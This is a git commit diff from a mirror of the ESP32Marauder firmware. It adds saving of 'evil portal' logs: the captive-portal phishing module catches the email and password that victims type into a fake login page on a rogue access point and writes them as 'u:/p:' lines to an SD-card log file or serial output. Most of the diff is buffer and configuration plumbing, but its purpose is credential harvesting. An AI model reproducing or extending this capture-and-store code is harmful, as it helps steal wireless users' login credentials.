mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-23 07:29:14 -08:00
Save evil portal logs
This commit is contained in:
@@ -6,12 +6,20 @@ Buffer::Buffer(){
|
|||||||
bufB = (uint8_t*)malloc(BUF_SIZE);
|
bufB = (uint8_t*)malloc(BUF_SIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Buffer::createPcapFile(fs::FS* fs, String fn){
|
void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
|
||||||
int i=0;
|
int i=0;
|
||||||
|
if (!log) {
|
||||||
do{
|
do{
|
||||||
fileName = "/"+fn+"_"+(String)i+".pcap";
|
fileName = "/"+fn+"_"+(String)i+".pcap";
|
||||||
i++;
|
i++;
|
||||||
} while(fs->exists(fileName));
|
} while(fs->exists(fileName));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
do{
|
||||||
|
fileName = "/"+fn+"_"+(String)i+".log";
|
||||||
|
i++;
|
||||||
|
} while(fs->exists(fileName));
|
||||||
|
}
|
||||||
|
|
||||||
Serial.println(fileName);
|
Serial.println(fileName);
|
||||||
|
|
||||||
@@ -19,13 +27,15 @@ void Buffer::createPcapFile(fs::FS* fs, String fn){
|
|||||||
file.close();
|
file.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
void Buffer::open(){
|
void Buffer::open(bool log){
|
||||||
bufSizeA = 0;
|
bufSizeA = 0;
|
||||||
bufSizeB = 0;
|
bufSizeB = 0;
|
||||||
|
|
||||||
bufSizeB = 0;
|
bufSizeB = 0;
|
||||||
|
|
||||||
writing = true;
|
writing = true;
|
||||||
|
|
||||||
|
if (!log) {
|
||||||
write(uint32_t(0xa1b2c3d4)); // magic number
|
write(uint32_t(0xa1b2c3d4)); // magic number
|
||||||
write(uint16_t(2)); // major version number
|
write(uint16_t(2)); // major version number
|
||||||
write(uint16_t(4)); // minor version number
|
write(uint16_t(4)); // minor version number
|
||||||
@@ -34,6 +44,7 @@ void Buffer::open(){
|
|||||||
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
|
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
|
||||||
write(uint32_t(105)); // data link type
|
write(uint32_t(105)); // data link type
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void Buffer::close(fs::FS* fs){
|
void Buffer::close(fs::FS* fs){
|
||||||
if(!writing) return;
|
if(!writing) return;
|
||||||
@@ -42,8 +53,7 @@ void Buffer::close(fs::FS* fs){
|
|||||||
Serial.println(text01);
|
Serial.println(text01);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Buffer::addPacket(uint8_t* buf, uint32_t len){
|
void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
|
||||||
|
|
||||||
// buffer is full -> drop packet
|
// buffer is full -> drop packet
|
||||||
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
|
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
|
||||||
//Serial.print(";");
|
//Serial.print(";");
|
||||||
@@ -64,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
|
|||||||
|
|
||||||
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
|
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
|
||||||
|
|
||||||
|
if (!log) {
|
||||||
write(seconds); // ts_sec
|
write(seconds); // ts_sec
|
||||||
write(microSeconds); // ts_usec
|
write(microSeconds); // ts_usec
|
||||||
write(len); // incl_len
|
write(len); // incl_len
|
||||||
write(len); // orig_len
|
write(len); // orig_len
|
||||||
|
}
|
||||||
|
|
||||||
write(buf, len); // packet payload
|
write(buf, len); // packet payload
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,10 +16,10 @@ extern Settings settings_obj;
|
|||||||
class Buffer {
|
class Buffer {
|
||||||
public:
|
public:
|
||||||
Buffer();
|
Buffer();
|
||||||
void createPcapFile(fs::FS* fs, String fn = "");
|
void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
|
||||||
void open();
|
void open(bool log = false);
|
||||||
void close(fs::FS* fs);
|
void close(fs::FS* fs);
|
||||||
void addPacket(uint8_t* buf, uint32_t len);
|
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
|
||||||
void save(fs::FS* fs);
|
void save(fs::FS* fs);
|
||||||
void forceSave(fs::FS* fs);
|
void forceSave(fs::FS* fs);
|
||||||
void forceSaveSerial();
|
void forceSaveSerial();
|
||||||
|
|||||||
@@ -10,10 +10,12 @@ EvilPortal::EvilPortal() {
|
|||||||
this->has_ap = false;
|
this->has_ap = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
void EvilPortal::begin() {
|
bool EvilPortal::begin() {
|
||||||
// wait for init flipper input
|
// wait for init flipper input
|
||||||
this->setAP();
|
if (!this->setAP())
|
||||||
this->setHtml();
|
return false;
|
||||||
|
if (!this->setHtml())
|
||||||
|
return false;
|
||||||
|
|
||||||
startPortal();
|
startPortal();
|
||||||
}
|
}
|
||||||
@@ -41,7 +43,6 @@ void EvilPortal::setupServer() {
|
|||||||
inputParam = "email";
|
inputParam = "email";
|
||||||
this->user_name = inputMessage;
|
this->user_name = inputMessage;
|
||||||
this->name_received = true;
|
this->name_received = true;
|
||||||
Serial.println(this->user_name);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (request->hasParam("password")) {
|
if (request->hasParam("password")) {
|
||||||
@@ -49,7 +50,6 @@ void EvilPortal::setupServer() {
|
|||||||
inputParam = "password";
|
inputParam = "password";
|
||||||
this->password = inputMessage;
|
this->password = inputMessage;
|
||||||
this->password_received = true;
|
this->password_received = true;
|
||||||
Serial.println(this->password);
|
|
||||||
}
|
}
|
||||||
request->send(
|
request->send(
|
||||||
200, "text/html",
|
200, "text/html",
|
||||||
@@ -58,12 +58,12 @@ void EvilPortal::setupServer() {
|
|||||||
Serial.println("web server up");
|
Serial.println("web server up");
|
||||||
}
|
}
|
||||||
|
|
||||||
void EvilPortal::setHtml() {
|
bool EvilPortal::setHtml() {
|
||||||
Serial.println("Setting HTML...");
|
Serial.println("Setting HTML...");
|
||||||
File html_file = sd_obj.getFile("/index.html");
|
File html_file = sd_obj.getFile("/index.html");
|
||||||
if (!html_file) {
|
if (!html_file) {
|
||||||
Serial.println("Could not open index.html. Exiting...");
|
Serial.println("Could not open index.html. Exiting...");
|
||||||
return;
|
return false;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
String html = "";
|
String html = "";
|
||||||
@@ -76,14 +76,15 @@ void EvilPortal::setHtml() {
|
|||||||
this->has_html = true;
|
this->has_html = true;
|
||||||
Serial.println("html set");
|
Serial.println("html set");
|
||||||
html_file.close();
|
html_file.close();
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void EvilPortal::setAP() {
|
bool EvilPortal::setAP() {
|
||||||
File ap_config_file = sd_obj.getFile("/ap.config.txt");
|
File ap_config_file = sd_obj.getFile("/ap.config.txt");
|
||||||
if (!ap_config_file) {
|
if (!ap_config_file) {
|
||||||
Serial.println("Could not open ap.config.txt. Exiting...");
|
Serial.println("Could not open ap.config.txt. Exiting...");
|
||||||
return;
|
return false;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
String ap_config = "";
|
String ap_config = "";
|
||||||
@@ -97,6 +98,7 @@ void EvilPortal::setAP() {
|
|||||||
this->has_ap = true;
|
this->has_ap = true;
|
||||||
Serial.println("ap config set");
|
Serial.println("ap config set");
|
||||||
ap_config_file.close();
|
ap_config_file.close();
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -124,6 +126,36 @@ void EvilPortal::startPortal() {
|
|||||||
this->runServer = true;
|
this->runServer = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
|
||||||
|
len = str.length(); // Obtain the length of the string
|
||||||
|
|
||||||
|
buf = new uint8_t[len]; // Dynamically allocate the buffer
|
||||||
|
|
||||||
|
// Copy each character from the string to the buffer
|
||||||
|
for (uint32_t i = 0; i < len; i++) {
|
||||||
|
buf[i] = static_cast<uint8_t>(str.charAt(i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void EvilPortal::addLog(String log, int len) {
|
||||||
|
//uint8_t *buf;
|
||||||
|
//log.getBytes(buf, strlen(log.c_str()));
|
||||||
|
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
|
||||||
|
if (save_packet) {
|
||||||
|
uint8_t* logBuffer = nullptr;
|
||||||
|
uint32_t logLength = 0;
|
||||||
|
this->convertStringToUint8Array(log, logBuffer, logLength);
|
||||||
|
|
||||||
|
#ifdef WRITE_PACKETS_SERIAL
|
||||||
|
buffer_obj.addPacket(logBuffer, logLength, true);
|
||||||
|
#elif defined(HAS_SD)
|
||||||
|
sd_obj.addPacket(logBuffer, logLength, true);
|
||||||
|
#else
|
||||||
|
return;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void EvilPortal::main(uint8_t scan_mode) {
|
void EvilPortal::main(uint8_t scan_mode) {
|
||||||
if (scan_mode == WIFI_SCAN_EVIL_PORTAL) {
|
if (scan_mode == WIFI_SCAN_EVIL_PORTAL) {
|
||||||
this->dnsServer.processNextRequest();
|
this->dnsServer.processNextRequest();
|
||||||
@@ -133,8 +165,9 @@ void EvilPortal::main(uint8_t scan_mode) {
|
|||||||
String logValue1 =
|
String logValue1 =
|
||||||
"u: " + this->user_name;
|
"u: " + this->user_name;
|
||||||
String logValue2 = "p: " + this->password;
|
String logValue2 = "p: " + this->password;
|
||||||
Serial.println(logValue1);
|
String full_string = logValue1 + " " + logValue2 + "\n";
|
||||||
Serial.println(logValue2);
|
Serial.print(full_string);
|
||||||
|
this->addLog(full_string, full_string.length());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -8,9 +8,11 @@
|
|||||||
#include "configs.h"
|
#include "configs.h"
|
||||||
#include "settings.h"
|
#include "settings.h"
|
||||||
#include "SDInterface.h"
|
#include "SDInterface.h"
|
||||||
|
#include "lang_var.h"
|
||||||
|
|
||||||
extern Settings settings_obj;
|
extern Settings settings_obj;
|
||||||
extern SDInterface sd_obj;
|
extern SDInterface sd_obj;
|
||||||
|
extern Buffer buffer_obj;
|
||||||
|
|
||||||
#define WAITING 0
|
#define WAITING 0
|
||||||
#define GOOD 1
|
#define GOOD 1
|
||||||
@@ -57,18 +59,20 @@ class EvilPortal {
|
|||||||
|
|
||||||
void (*resetFunction)(void) = 0;
|
void (*resetFunction)(void) = 0;
|
||||||
|
|
||||||
void setHtml();
|
bool setHtml();
|
||||||
void setAP();
|
bool setAP();
|
||||||
void setupServer();
|
void setupServer();
|
||||||
void startPortal();
|
void startPortal();
|
||||||
void startAP();
|
void startAP();
|
||||||
|
void addLog(String log, int len);
|
||||||
|
void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
EvilPortal();
|
EvilPortal();
|
||||||
|
|
||||||
String get_user_name();
|
String get_user_name();
|
||||||
String get_password();
|
String get_password();
|
||||||
void begin();
|
bool begin();
|
||||||
void main(uint8_t scan_mode);
|
void main(uint8_t scan_mode);
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -106,9 +106,9 @@ void SDInterface::listDir(String str_dir){
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
|
void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
|
||||||
if ((this->supported) && (this->do_save)) {
|
if ((this->supported) && (this->do_save)) {
|
||||||
buffer_obj.addPacket(buf, len);
|
buffer_obj.addPacket(buf, len, log);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -120,6 +120,14 @@ void SDInterface::openCapture(String file_name) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void SDInterface::openLog(String file_name) {
|
||||||
|
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
|
||||||
|
if ((this->supported) && (save_pcap)) {
|
||||||
|
buffer_obj.createPcapFile(&SD, file_name, true);
|
||||||
|
buffer_obj.open(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void SDInterface::runUpdate() {
|
void SDInterface::runUpdate() {
|
||||||
#ifdef HAS_SCREEN
|
#ifdef HAS_SCREEN
|
||||||
display_obj.tft.setTextWrap(false);
|
display_obj.tft.setTextWrap(false);
|
||||||
|
|||||||
@@ -41,8 +41,9 @@ class SDInterface {
|
|||||||
|
|
||||||
void listDir(String str_dir);
|
void listDir(String str_dir);
|
||||||
File getFile(String path);
|
File getFile(String path);
|
||||||
void addPacket(uint8_t* buf, uint32_t len);
|
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
|
||||||
void openCapture(String file_name = "");
|
void openCapture(String file_name = "");
|
||||||
|
void openLog(String file_name = "");
|
||||||
void runUpdate();
|
void runUpdate();
|
||||||
void performUpdate(Stream &updateSource, size_t updateSize);
|
void performUpdate(Stream &updateSource, size_t updateSize);
|
||||||
void main();
|
void main();
|
||||||
|
|||||||
@@ -591,7 +591,7 @@ void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
|
|||||||
#ifdef WRITE_PACKETS_SERIAL
|
#ifdef WRITE_PACKETS_SERIAL
|
||||||
buffer_obj.open();
|
buffer_obj.open();
|
||||||
#elif defined(HAS_SD)
|
#elif defined(HAS_SD)
|
||||||
sd_obj.openCapture("evil_portal");
|
sd_obj.openLog("evil_portal");
|
||||||
#else
|
#else
|
||||||
return;
|
return;
|
||||||
#endif
|
#endif
|
||||||
@@ -3335,6 +3335,22 @@ void WiFiScan::addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*void WiFiScan::addLog(String log, int len) {
|
||||||
|
uint8_t *buf;
|
||||||
|
log.getBytes(buf, log.length());
|
||||||
|
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
|
||||||
|
if (save_packet) {
|
||||||
|
Serial.println("Saving data...");
|
||||||
|
#ifdef WRITE_PACKETS_SERIAL
|
||||||
|
buffer_obj.addPacket(buf, len);
|
||||||
|
#elif defined(HAS_SD)
|
||||||
|
sd_obj.addPacket(buf, len);
|
||||||
|
#else
|
||||||
|
return;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
|
||||||
#ifdef HAS_SCREEN
|
#ifdef HAS_SCREEN
|
||||||
void WiFiScan::eapolMonitorMain(uint32_t currentTime)
|
void WiFiScan::eapolMonitorMain(uint32_t currentTime)
|
||||||
{
|
{
|
||||||
@@ -3795,6 +3811,13 @@ void WiFiScan::main(uint32_t currentTime)
|
|||||||
channelHop();
|
channelHop();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
/*else if (currentScanMode == WIFI_SCAN_EVIL_PORTAL) {
|
||||||
|
String evil_portal_result = "";
|
||||||
|
evil_portal_result = evil_portal_obj.main(currentScanMode);
|
||||||
|
if (evil_portal_result != "") {
|
||||||
|
this->addLog(evil_portal_result, strlen(evil_portal_result.c_str()));
|
||||||
|
}
|
||||||
|
}*/
|
||||||
else if (currentScanMode == WIFI_PACKET_MONITOR)
|
else if (currentScanMode == WIFI_PACKET_MONITOR)
|
||||||
{
|
{
|
||||||
#ifdef HAS_SCREEN
|
#ifdef HAS_SCREEN
|
||||||
|
|||||||
@@ -362,6 +362,7 @@ class WiFiScan
|
|||||||
void main(uint32_t currentTime);
|
void main(uint32_t currentTime);
|
||||||
void StartScan(uint8_t scan_mode, uint16_t color = 0);
|
void StartScan(uint8_t scan_mode, uint16_t color = 0);
|
||||||
void StopScan(uint8_t scan_mode);
|
void StopScan(uint8_t scan_mode);
|
||||||
|
//void addLog(String log, int len);
|
||||||
|
|
||||||
static void getMAC(char *addr, uint8_t* data, uint16_t offset);
|
static void getMAC(char *addr, uint8_t* data, uint16_t offset);
|
||||||
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||||
|
|||||||
@@ -15,8 +15,8 @@
|
|||||||
//#define MARAUDER_V6
|
//#define MARAUDER_V6
|
||||||
//#define MARAUDER_KIT
|
//#define MARAUDER_KIT
|
||||||
//#define GENERIC_ESP32
|
//#define GENERIC_ESP32
|
||||||
//#define MARAUDER_FLIPPER
|
#define MARAUDER_FLIPPER
|
||||||
#define ESP32_LDDB
|
//#define ESP32_LDDB
|
||||||
//#define MARAUDER_DEV_BOARD_PRO
|
//#define MARAUDER_DEV_BOARD_PRO
|
||||||
//#define XIAO_ESP32_S3
|
//#define XIAO_ESP32_S3
|
||||||
//// END BOARD TARGETS
|
//// END BOARD TARGETS
|
||||||
@@ -154,9 +154,9 @@
|
|||||||
//// FLIPPER ZERO HAT SETTINGS
|
//// FLIPPER ZERO HAT SETTINGS
|
||||||
#ifdef FLIPPER_ZERO_HAT
|
#ifdef FLIPPER_ZERO_HAT
|
||||||
|
|
||||||
#ifdef MARAUDER_FLIPPER
|
//#ifdef MARAUDER_FLIPPER
|
||||||
#define USE_FLIPPER_SD
|
// #define USE_FLIPPER_SD
|
||||||
#endif
|
//#endif
|
||||||
|
|
||||||
#ifdef XIAO_ESP32_S3
|
#ifdef XIAO_ESP32_S3
|
||||||
#define USE_FLIPPER_SD
|
#define USE_FLIPPER_SD
|
||||||
|
|||||||
Reference in New Issue
Block a user